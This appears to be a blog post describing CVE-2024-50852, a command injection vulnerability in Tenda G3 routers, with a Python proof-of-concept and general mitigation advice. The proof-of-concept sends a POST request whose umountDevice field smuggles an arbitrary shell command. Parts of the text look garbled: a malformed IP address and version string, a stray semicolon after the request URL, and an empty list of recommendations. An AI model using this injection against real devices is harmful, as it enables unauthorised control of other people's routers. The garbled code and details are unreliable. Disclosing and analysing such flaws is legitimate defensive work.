A recent discovery has unveiled a new security vulnerability in Tenda G3 v3. v15.11..20 routers, specifically a command injection vulnerability found in the formSetUSBPartitionUmount function.

This vulnerability was identified by security researchers and assigned the identifier CVE-2024-50852. In this post, we shall delve into the details of the vulnerability, explore its potential impact, and discuss possible mitigations.

Vulnerability Details (CVE-2024-50852)

The vulnerability uncovered in the formSetUSBPartitionUmount function can potentially allow attackers to inject and execute malicious commands on an affected device. These vulnerabilities typically occur when untrusted input, received as user-supplied data, is processed and passed to a system shell featuring a security flaw. Command injection vulnerabilities can result in unauthorized access, information disclosure, and even full system compromise under certain circumstances.

Original references and sources for further reading can be found here

1. Vulnerability Disclosure
2. NVD - CVE-2024-50852
3. Official Tenda Security Advisory

Exploit Details

Through a crafted HTTP POST request to the device, an attacker could exploit this vulnerability to unmount a USB partition and inject arbitrary commands. The following code snippet showcases a proof-of-concept for the exploit:

import requests

TARGET_IP = "192.168..1"
CMD = "<COMMAND>"

payload = {
    "formSetUSBPartitionUmount": 1,
    "umountDevice": f"/tmp/; {CMD} #",
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
}

response = requests.post(f"http://{TARGET_IP}/goform/UmountUnmount";, data=payload, headers=headers)

if response.status_code == 200:
    print("Exploit executed successfully")
else:
    print("Failed to execute exploit")

In the code snippet above, replace <COMMAND> with the desired command to execute on the vulnerable device. Be aware that running arbitrary commands might harm the router's configuration or network functionality.

Mitigations and Recommendations

The most effective way to protect against this specific exploit is to update the firmware of your Tenda G3 router to the latest available version or apply the official security patch provided by Tenda.

Other general security practices that can help reduce the risk of exploitation for this and similar vulnerabilities include:

Conclusion

The discovery of CVE-2024-50852 sheds light on the importance of regularly updating router firmware and following secure device management practices. By understanding the implications of this vulnerability and how to mitigate it, users can better protect their networks and devices from potential exploits.

With the release of this proof-of-concept, security professionals can now assess the impact of this vulnerability on their systems and implement the necessary defenses. Internet users are encouraged to remain diligent in monitoring for security updates and implementing best practices to secure their routers and connected devices.

Timeline

Published on: 11/13/2024 15:15:08 UTC
Last modified on: 11/21/2024 17:15:21 UTC